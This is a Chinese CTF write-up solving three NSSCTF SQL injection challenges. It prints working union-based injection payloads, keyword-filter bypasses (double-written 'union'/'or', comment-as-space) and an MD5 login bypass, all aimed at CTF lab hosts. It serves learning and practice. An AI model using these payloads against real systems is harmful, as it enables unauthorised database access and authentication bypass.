NSSCTF———Web(sql注入)
[LitCTF 2023]这是什么?SQL !注一下 !
[SWPUCTF 2022 新生赛]ez_sql
[GXYCTF 2019]BabySqli
点击右下角文章可跳转
[LitCTF 2023]这是什么?SQL !注一下 !
首先我们打开靶场查看信息,提示了闭合方式为id = (((((())))))
然后我们进行判断回显位,用order by或group by都可以,会发现2有回显,3没有回显,所以回显位为2。如果细心可以发现题目也有提示username,password也可以猜测回显位为2,如果保险起见也可以测试一下
接下来就是进行查询数据库的操作,一般来说我们用http://node5.anna.nssctf.cn:28411/?id=1)))))) union select 1,database() --+这种语句来查询,但这道题数据库有很多,而且直接查出来的数据库得到的flag是假的,所以我就不演示了,你们可以自己查查看,我们直接查询全部数据库名
我用的是union select 1,schema_name from information_schema.schemata--+来查询
可以看到有几个很可能存在flag的数据库 ctftraining和ctf,这里我就直接跟大家说第一个存在真的flag。然后进行常规的sql注入
第一步,查表名 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+
可以看到有一个叫flag的表名,
第二步,查列名:union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'--+
最后再查询一下这个叫flag的数据就可以得到flag
union select 1,group_concat(flag)from ctftraining.flag--+
[SWPUCTF 2022 新生赛]ez_sql
上来给了一波提示,相对安全的传参意思就是POST传参,还直接提示了参数是nss,我们先尝试随便输个数字,直接给了flag,但是这flag一看就是假的
然后用nss1 and1=1 这种手段判断类型,这题是字符型我就不演示了,然后我们要去判断回显数,会发现or和空格都被过滤了
然后我们用双写or绕过,用/**/代替空格,对了这里--+也被过滤了,我们可以用#号带替--+
我们再试一次 nss=1'/**/oorrder/**/by/**/3#
如果是4的话会报错,所以回显数为3
然后我们用联合查询去查数据库名,这道题的union也被过滤了,同样我们双写绕过 nss=1'/**/uniunionon/**/select/**/1,2,database()/**/limit/**/1,1#
后面用了limit 1,1,因为第一个回显位没有我们要的信息,我们需要跳转到第二个回显位,所以得到数据库名,NSS_db
下一步就是查表名 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(table_name)from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'/**/limit/**/1,1#
记得information里面的or也需要双写
根据表名的格式估计flag在NSS_tb里面,继续查列名
nss=1'/**/uniunionon/**/select/**/1,2,group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#
再继续查这里面的数据 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(id,Secr3t,flll444g)from/**/NSS_db.NSS_tb/**/limit/**/1,1#
得到flag:NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}
[GXYCTF 2019]BabySqli
这道题差点把我绕懵了
首先我们打开环境是一个登录界面,先尝试一下万能密码啥的,我这里先直接抓包,在burpsuit里面操作,发送到中继发现有一串神秘字母
拿去解密一下,发现是base32和base64的加密,解密得到 select * from user where username = '$name'
这段代码的意思是检索你输入的username是否在数据库中存在,我们可能就大致对这道题的查询有点数,我们去测试一下回显
注意这里是过滤了or的用大小写绕过,发现为4时报错,说明回显有三个,但如果我们去实际查询表名列名会发现很难查出来,因为这道题的过滤非常严格。
那我们要用做题的经验来看,这是一道登录的界面,而列数又是三列,那估计三列分别对应id,username,password。再结合一开始解密的信息,依次去查询是否存在数据,那这三列就很有可能了
再加上我们可以发现,当我们随便输入账号密码时,弹出的是 wrong user!
当我们账户是admin时,弹出的是 wrong pass!
说明admin这个账户是存在的,但是我们不知道admin在第几列,我们可以去试一试,当放在第一列时:
提示用户名不对
放在第二列时,显示wrong pass! 说明username正确
我们知道了账号,那我们得知道密码才能登录成功,这里有一个知识点:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;
我们不知道密码我们可以去构造密码,用md5的形式,就比如我输的密码是123,那我用md5加密后输入到第三列,那也可以完成查询,登陆成功
123经过md5加密后结果为:202cb962ac59075b964b07152d234b70
下面实践:
得到flag:
NSSCTF{ce21b171-dc0b-4b09-a56d-d6cd629ae515}
这题的密码不是唯一的,随便你密码是什么,自己构造,md5加密输入进去就行啦
NSSCTF———Web(sql注入)的更多相关文章
- java web sql注入测试(3)---现象分析
那为什么出现以上问题呢?这是程序代码层控制不当导致的.如果web前端对输入数据控制严格,会对数据库进行操作的字符串,在客户端做敏感字符转义处理,或者在操作数据库的dao层,使用动态参数的sql,不使用 ...
- java web sql注入测试(1)---概念概述
在进行java web 测试时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,虽然不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还 ...
- CTF—WEB—sql注入之无过滤有回显最简单注入
sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手 ...
- java web sql注入测试(4)--如何防止该类缺陷发生
检查用户输入的合法性,确信输入的内容只包含合法的数据,数据检查应当在客户端和服务器端都执行之所以要执行服务器端验证,是为了弥补客户端验证机制脆弱的安全性.在客户端,攻击者完全有可能获得网页的源代码,修 ...
- CTF—WEB—sql注入之宽字节注入
宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...
- java web sql注入测试(2)---实例测试
以下篇幅,用一个简单的实例说明如何进行测试. 功能:根据用户NAME删除用户,采用的是SQL拼接的方式,核心代码部分如下: public static void deleteByName(String ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- Web攻防之XSS,CSRF,SQL注入
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
随机推荐
- wpf 自定义轮播图组件
轮播图组件代码: [Localizability(LocalizationCategory.None, Readability = Readability.Unreadable)][TemplateP ...
- weinre 远程实时调试手机上的Web页面 JAVASCRIPT远程调试
版权归作者所有,任何形式转载请联系作者.作者:U_U(来自豆瓣)来源:https://www.douban.com/note/289846168/ 调试前端页面我一直使用着神器Chrome开发人员工具 ...
- Stable Diffusion WebUI详细使用指南
Stable Diffusion WebUI(AUTOMATIC1111,简称A1111)是一个为高级用户设计的图形用户界面(GUI),它提供了丰富的功能和灵活性,以满足复杂和高级的图像生成需求.由于 ...
- NOIP模拟61
T1 交通 解题思路 把环视为点,对于原图中每一个点的两条入边以及两条出边分别连边. 优于保证了原图中每个点出入度都是 2 因此新图中一定由若干个偶数环所组成的. 并且对于环中一定是只能间隔着选点,因 ...
- NET工控,上位机,Modbus485网口/串口通讯(鸣志步进电机,鸣志伺服电机,松下伺服电机,华庆军继电器模块)
先上两个通用Modbus帮助类,下面这个是多线程不安全版,在多线程多电机同一端口通信下,可能造成步进电机丢步或者输出口无响应等,还有个多线程安全版,只是基于这个不安全版加上了LOCK,THIS usi ...
- 对于 EI K 逆序对排列计数的另一种自然求和方法的理解
有一个简单的 \(O(n^3)\) DP,考虑 \(f_{x + 1, k} = \sum_{j = 0}^{x} f_{x, k - j}\),利用前缀和优化即可. 考虑这实际上是 \(f_{x + ...
- [SWPUCTF 2021 新生赛]easyrce
这道题比较简单,打开环境一看就只需要构造一个get传参的命令就行,我们就看一下有些什么文件,构造payload: ?url=system ("ls /"); 看到有个 flllll ...
- LeetCode 715. Range Module Range 模块 (Java)
题目: A Range Module is a module that tracks ranges of numbers. Your task is to design and implement t ...
- 推荐一款免费的终端工具-Windterm
Windterm 提到SSH终端工具,大家一定会想到putty.xshell.MobaXterm这些产品.但是当我使用Windterm后,我彻底改变了我对之前使用SSH终端工具的认知,其强大的能力,彻 ...
- windows 右键菜单编辑/删除
windows 右键菜单编辑/删除.WIN7,WIN8,WIN10,WIN11. 在 https://www.sordum.org/7615/easy-context-menu-v1-6/ 页面底部下 ...